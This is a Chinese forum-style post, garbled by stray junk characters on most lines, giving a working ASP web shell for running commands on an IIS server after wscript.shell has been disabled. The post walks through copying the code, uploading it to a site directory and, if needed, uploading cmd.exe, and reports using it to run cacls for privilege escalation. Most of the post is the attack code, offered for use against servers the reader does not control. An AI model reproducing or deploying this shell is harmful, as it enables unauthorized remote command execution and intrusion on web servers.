可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。/ V2 g* n/ a% d6 s+ i
一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。3 p: Q. C2 W: b6 m' W5 ]8 g
要想让运行命令可以试试这种方法,成功率为五五之数。
+ Z) h( ^9 c+ K. O' `; _* N; z把下面代码复制:) R, w7 H3 q! k* R @( G8 r( c- t
<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>' q- s$ o% e+ \; w" Z2 E, S
<%if err then%>
: l6 H0 q" a% C<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
& d: F$ B, E" ]! Z! ]) a; C<%
- m q# G+ _/ Y2 g. Lend if
3 l( H- A/ S1 A/ [response.write("<textarea readonly cols=80 rows=20>")) \& l& r5 A G1 \
On Error Resume Next) e6 Z- y7 ~0 B1 |" u0 I
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall6 \/ f( r% m4 A: e P
response.write("</textarea>")
2 y. j# ?8 D f$ d2 u3 v) V( ^# Vresponse.write("<form method='post'>"), t. {8 {+ g Y$ B
response.write("<input type=text name='c' size=60><br>")' Z, `( l; j5 j) v* @) x& A/ Y/ c
response.write("<input type=submit value='执行'></form>")) R1 P, ?; N( t8 t7 H. |* o8 q
%>- W% u% V2 R5 U) X; g
: i. C7 H9 h3 } D保存为一个asp文件,然后传到网站目录上去/ o5 N6 ^4 ]$ y
运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
! I; S0 g1 C l& H我用此成功运行过cacls命令。" |* r1 _! Y: B! h3 b$ @3 `3 ^
- [* k/ w: F3 ?$ z% [6 q$ U第二那就是运行时出错,可能限制某些代码执行 |